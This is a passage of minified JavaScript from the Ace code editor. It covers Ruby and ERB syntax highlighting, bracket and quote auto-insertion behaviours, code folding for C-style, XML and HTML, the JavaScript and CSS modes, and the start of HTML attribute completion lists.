t[0]===\"heredoc\"||t[0]===\"indentedHeredoc\"?t[0]:e}},{token:\"string.character\",regex:\"\\\\B\\\\?.\"},{token:\"keyword.operator\",regex:\"!|\\\\$|%|&|\\\\*|\\\\-\\\\-|\\\\-|\\\\+\\\\+|\\\\+|~|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\\\|\\\\||\\\\?\\\\:|\\\\*=|%=|\\\\+=|\\\\-=|&=|\\\\^=|\\\\b(?:in|instanceof|new|delete|typeof|void)\"},{token:\"paren.lparen\",regex:\"[[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],comment:[{token:\"comment\",regex:\"^=end(?:$|\\\\s.*$)\",next:\"start\"},{token:\"comment\",regex:\".+\"}]},this.normalizeRules()};r.inherits(c,i),t.RubyHighlightRules=c}),ace.define(\"ace/mode/html_ruby_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/html_highlight_rules\",\"ace/mode/ruby_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./html_highlight_rules\").HtmlHighlightRules,s=e(\"./ruby_highlight_rules\").RubyHighlightRules,o=function(){i.call(this);var e=[{regex:\"<%%|%%>\",token:\"constant.language.escape\"},{token:\"comment.start.erb\",regex:\"<%#\",push:[{token:\"comment.end.erb\",regex:\"%>\",next:\"pop\",defaultToken:\"comment\"}]},{token:\"support.ruby_tag\",regex:\"<%+(?!>)[-=]?\",push:\"ruby-start\"}],t=[{token:\"support.ruby_tag\",regex:\"%>\",next:\"pop\"},{token:\"comment\",regex:\"#(?:[^%]|%[^>])*\"}];for(var n in this.$rules)this.$rules[n].unshift.apply(this.$rules[n],e);this.embedRules(s,\"ruby-\",t,[\"start\"]),this.normalizeRules()};r.inherits(o,i),t.HtmlRubyHighlightRules=o}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/javascript\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/worker/worker_client\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"../worker/worker_client\").WorkerClient,f=e(\"./behaviour/cstyle\").CstyleBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.foldingRules=new l};r.inherits(c,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"||e==\"no_regex\"){var u=t.match(/^.*(?:\\bcase\\b.*\\:|[\\{\\(\\[])\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\"||o==\"no_regex\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new a([\"ace\"],\"ace/mode/javascript_worker\",\"JavaScriptWorker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/javascript\"}.call(c.prototype),t.Mode=c}),ace.define(\"ace/mode/behaviour/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/mode/behaviour/cstyle\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"./cstyle\").CstyleBehaviour,o=e(\"../../token_iterator\").TokenIterator,u=function(){this.inherit(s),this.add(\"colon\",\"insertion\",function(e,t,n,r,i){if(i===\":\"){var s=n.getCursorPosition(),u=new o(r,s.row,s.column),a=u.getCurrentToken();a&&a.value.match(/\\s+/)&&(a=u.stepBackward());if(a&&a.type===\"support.type\"){var f=r.doc.getLine(s.row),l=f.substring(s.column,s.column+1);if(l===\":\")return{text:\"\",selection:[1,1]};if(!f.substring(s.column).match(/^\\s*;/))return{text:\":;\",selection:[1,1]}}}}),this.add(\"colon\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s===\":\"){var u=n.getCursorPosition(),a=new o(r,u.row,u.column),f=a.getCurrentToken();f&&f.value.match(/\\s+/)&&(f=a.stepBackward());if(f&&f.type===\"support.type\"){var l=r.doc.getLine(i.start.row),c=l.substring(i.end.column,i.end.column+1);if(c===\";\")return i.end.column++,i}}}),this.add(\"semicolon\",\"insertion\",function(e,t,n,r,i){if(i===\";\"){var s=n.getCursorPosition(),o=r.doc.getLine(s.row),u=o.substring(s.column,s.column+1);if(u===\";\")return{text:\"\",selection:[1,1]}}})};r.inherits(u,s),t.CssBehaviour=u}),ace.define(\"ace/mode/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/css_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/worker/worker_client\",\"ace/mode/behaviour/css\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../worker/worker_client\").WorkerClient,a=e(\"./behaviour/css\").CssBehaviour,f=e(\"./folding/cstyle\").FoldMode,l=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new a,this.foldingRules=new f};r.inherits(l,i),function(){this.foldingRules=\"cStyle\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e).tokens;if(i.length&&i[i.length-1].type==\"comment\")return r;var s=t.match(/^.*\\{\\s*$/);return s&&(r+=n),r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new u([\"ace\"],\"ace/mode/css_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/css\"}.call(l.prototype),t.Mode=l}),ace.define(\"ace/mode/behaviour/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";function u(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),a=function(){this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){var o=i,a=r.doc.getTextRange(n.getSelectionRange());if(a!==\"\"&&a!==\"'\"&&a!='\"'&&n.getWrapBehavioursEnabled())return{text:o+a+o,selection:!1};var f=n.getCursorPosition(),l=r.doc.getLine(f.row),c=l.substring(f.column,f.column+1),h=new s(r,f.row,f.column),p=h.getCurrentToken();if(c==o&&(u(p,\"attribute-value\")||u(p,\"string\")))return{text:\"\",selection:[1,1]};p||(p=h.stepBackward());if(!p)return;while(u(p,\"tag-whitespace\")||u(p,\"whitespace\"))p=h.stepBackward();var d=!c||c.match(/\\s/);if(u(p,\"attribute-equals\")&&(d||c==\">\")||u(p,\"decl-attribute-equals\")&&(d||c==\"?\"))return{text:o+o,selection:[1,1]}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}}),this.add(\"autoclosing\",\"insertion\",function(e,t,n,r,i){if(i==\">\"){var o=n.getCursorPosition(),a=new s(r,o.row,o.column),f=a.getCurrentToken()||a.stepBackward();if(!f||!(u(f,\"tag-name\")||u(f,\"tag-whitespace\")||u(f,\"attribute-name\")||u(f,\"attribute-equals\")||u(f,\"attribute-value\")))return;if(u(f,\"reference.attribute-value\"))return;if(u(f,\"attribute-value\")){var l=f.value.charAt(0);if(l=='\"'||l==\"'\"){var c=f.value.charAt(f.value.length-1),h=a.getCurrentTokenColumn()+f.value.length;if(h>o.column||h==o.column&&l!=c)return}}while(!u(f,\"tag-name\"))f=a.stepBackward();var p=a.getCurrentTokenRow(),d=a.getCurrentTokenColumn();if(u(a.stepBackward(),\"end-tag-open\"))return;var v=f.value;p==o.row&&(v=v.substring(0,o.column-d));if(this.voidElements.hasOwnProperty(v.toLowerCase()))return;return{text:\"></\"+v+\">\",selection:[1,1]}}}),this.add(\"autoindent\",\"insertion\",function(e,t,n,r,i){if(i==\"\\n\"){var o=n.getCursorPosition(),u=r.getLine(o.row),a=new s(r,o.row,o.column),f=a.getCurrentToken();if(f&&f.type.indexOf(\"tag-close\")!==-1){if(f.value==\"/>\")return;while(f&&f.type.indexOf(\"tag-name\")===-1)f=a.stepBackward();if(!f)return;var l=f.value,c=a.getCurrentTokenRow();f=a.stepBackward();if(!f||f.type.indexOf(\"end-tag\")!==-1)return;if(this.voidElements&&!this.voidElements[l]){var h=r.getTokenAt(o.row,o.column+1),u=r.getLine(c),p=this.$getIndent(u),d=p+r.getTabString();return h&&h.value===\"</\"?{text:\"\\n\"+d+\"\\n\"+p,selection:[1,d.length,1,d.length]}:{text:\"\\n\"+d}}}}})};r.inherits(a,i),t.XmlBehaviour=a}),ace.define(\"ace/mode/folding/mixed\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=t.FoldMode=function(e,t){this.defaultMode=e,this.subModes=t};r.inherits(s,i),function(){this.$getMode=function(e){typeof e!=\"string\"&&(e=e[0]);for(var t in this.subModes)if(e.indexOf(t)===0)return this.subModes[t];return null},this.$tryMode=function(e,t,n,r){var i=this.$getMode(e);return i?i.getFoldWidget(t,n,r):\"\"},this.getFoldWidget=function(e,t,n){return this.$tryMode(e.getState(n-1),e,t,n)||this.$tryMode(e.getState(n),e,t,n)||this.defaultMode.getFoldWidget(e,t,n)},this.getFoldWidgetRange=function(e,t,n){var r=this.$getMode(e.getState(n-1));if(!r||!r.getFoldWidget(e,t,n))r=this.$getMode(e.getState(n));if(!r||!r.getFoldWidget(e,t,n))r=this.defaultMode;return r.getFoldWidgetRange(e,t,n)}}.call(s.prototype)}),ace.define(\"ace/mode/folding/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/range\",\"ace/mode/folding/fold_mode\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function l(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../../lib/lang\"),s=e(\"../../range\").Range,o=e(\"./fold_mode\").FoldMode,u=e(\"../../token_iterator\").TokenIterator,a=t.FoldMode=function(e,t){o.call(this),this.voidElements=e||{},this.optionalEndTags=r.mixin({},this.voidElements),t&&r.mixin(this.optionalEndTags,t)};r.inherits(a,o);var f=function(){this.tagName=\"\",this.closing=!1,this.selfClosing=!1,this.start={row:0,column:0},this.end={row:0,column:0}};(function(){this.getFoldWidget=function(e,t,n){var r=this._getFirstTagInLine(e,n);return r?r.closing||!r.tagName&&r.selfClosing?t==\"markbeginend\"?\"end\":\"\":!r.tagName||r.selfClosing||this.voidElements.hasOwnProperty(r.tagName.toLowerCase())?\"\":this._findEndTagInLine(e,n,r.tagName,r.end.column)?\"\":\"start\":\"\"},this._getFirstTagInLine=function(e,t){var n=e.getTokens(t),r=new f;for(var i=0;i<n.length;i++){var s=n[i];if(l(s,\"tag-open\")){r.end.column=r.start.column+s.value.length,r.closing=l(s,\"end-tag-open\"),s=n[++i];if(!s)return null;r.tagName=s.value,r.end.column+=s.value.length;for(i++;i<n.length;i++){s=n[i],r.end.column+=s.value.length;if(l(s,\"tag-close\")){r.selfClosing=s.value==\"/>\";break}}return r}if(l(s,\"tag-close\"))return r.selfClosing=s.value==\"/>\",r;r.start.column+=s.value.length}return null},this._findEndTagInLine=function(e,t,n,r){var i=e.getTokens(t),s=0;for(var o=0;o<i.length;o++){var u=i[o];s+=u.value.length;if(s<r)continue;if(l(u,\"end-tag-open\")){u=i[o+1];if(u&&u.value==n)return!0}}return!1},this._readTagForward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do if(l(t,\"tag-open\"))n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn();else if(l(t,\"tag-name\"))n.tagName=t.value;else if(l(t,\"tag-close\"))return n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length,e.stepForward(),n;while(t=e.stepForward());return null},this._readTagBackward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do{if(l(t,\"tag-open\"))return n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn(),e.stepBackward(),n;l(t,\"tag-name\")?n.tagName=t.value:l(t,\"tag-close\")&&(n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length)}while(t=e.stepBackward());return null},this._pop=function(e,t){while(e.length){var n=e[e.length-1];if(!t||n.tagName==t.tagName)return e.pop();if(this.optionalEndTags.hasOwnProperty(n.tagName)){e.pop();continue}return null}},this.getFoldWidgetRange=function(e,t,n){var r=this._getFirstTagInLine(e,n);if(!r)return null;var i=r.closing||r.selfClosing,o=[],a;if(!i){var f=new u(e,n,r.start.column),l={row:n,column:r.start.column+r.tagName.length+2};r.start.row==r.end.row&&(l.column=r.end.column);while(a=this._readTagForward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(a.closing){this._pop(o,a);if(o.length==0)return s.fromPoints(l,a.start)}else o.push(a)}}else{var f=new u(e,n,r.end.column),c={row:n,column:r.start.column};while(a=this._readTagBackward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(!a.closing){this._pop(o,a);if(o.length==0)return a.start.column+=a.tagName.length+2,a.start.row==a.end.row&&a.start.column<a.end.column&&(a.start.column=a.end.column),s.fromPoints(a.start,c)}else o.push(a)}}}}).call(a.prototype)}),ace.define(\"ace/mode/folding/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/mixed\",\"ace/mode/folding/xml\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./mixed\").FoldMode,s=e(\"./xml\").FoldMode,o=e(\"./cstyle\").FoldMode,u=t.FoldMode=function(e,t){i.call(this,new s(e,t),{\"js-\":new o,\"css-\":new o})};r.inherits(u,i)}),ace.define(\"ace/mode/html_completions\",[\"require\",\"exports\",\"module\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function f(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}function l(e,t){var n=new r(e,t.row,t.column),i=n.getCurrentToken();while(i&&!f(i,\"tag-name\"))i=n.stepBackward();if(i)return i.value}var r=e(\"../token_iterator\").TokenIterator,i=[\"accesskey\",\"class\",\"contenteditable\",\"contextmenu\",\"dir\",\"draggable\",\"dropzone\",\"hidden\",\"id\",\"inert\",\"itemid\",\"itemprop\",\"itemref\",\"itemscope\",\"itemtype\",\"lang\",\"spellcheck\",\"style\",\"tabindex\",\"title\",\"translate\"],s=[\"onabort\",\"onblur\",\"oncancel\",\"oncanplay\",\"oncanplaythrough\",\"onchange\",\"onclick\",\"onclose\",\"oncontextmenu\",\"oncuechange\",\"ondblclick\",\"ondrag\",\"ondragend\",\"ondragenter\",\"ondragleave\",\"ondragover\",\"ondragstart\",\"ondrop\",\"ondurationchange\",\"onemptied\",\"onended\",\"onerror\",\"onfocus\",\"oninput\",\"oninvalid\",\"onkeydown\",\"onkeypress\",\"onkeyup\",\"onload\",\"onloadeddata\",\"onloadedmetadata\",\"onloadstart\",\"onmousedown\",\"onmousemove\",\"onmouseout\",\"onmouseover\",\"onmouseup\",\"onmousewheel\",\"onpause\",\"onplay\",\"onplaying\",\"onprogress\",\"onratechange\",\"onreset\",\"onscroll\",\"onseeked\",\"onseeking\",\"onselect\",\"onshow\",\"onstalled\",\"onsubmit\",\"onsuspend\",\"ontimeupdate\",\"onvolumechange\",\"onwaiting\"],o=i.concat(s),u={html:[\"manifest\"],head:[],title:[],base:[\"href\",\"target\"],link:[\"href\",\"hreflang\",\"rel\",\"media\",\"type\",\"sizes\"],meta:[\"http-equiv\",\"name\",\"content\",\"charset\"],style:[\"type\",\"media\",\"scoped\"],script:[\"charset\",\"type\",\"src\",\"defer\",\"async\"],noscript:[\"href\"],body:[\"onafterprint\",\"onbeforeprint\",\"onbeforeunload\",\"onhashchange\",\"onmessage\",\"onoffline\",\"onpopstate\",\"onredo\",\"onresize\",\"onstorage\",\"onundo\",\"onunload\"],section:[],nav:[],article:[\"pubdate\"],aside:[],h1:[],h2:[],h3:[],h4:[],h5:[],h6:[],header:[],footer:[],address:[],main:[],p:[],hr:[],pre:[],blockquote:[\"cite\"],ol:[\"start\",\"reversed\"],ul:[],li:[\"value\"],dl:[],dt:[],dd:[],figure:[],figcaption:[],div:[],a:[\"href\",\"target\",\"ping\",\"rel\",\"media\",\"hreflang\",\"type\"],em:[],strong:[],small:[],s:[],cite:[],q:[\"cite\"],dfn:[],abbr:[],data:[],time:[\"datetime\"],code:[],\"var\":[],samp:[],kbd:[],sub:[],sup:[],i:[],b:[],u:[],mark:[],ruby:[],rt:[],rp:[],bdi:[],bdo:[],span:[],br:[],wbr:[],ins:[\"cite\",\"datetime\"],del:[\"cite\",\"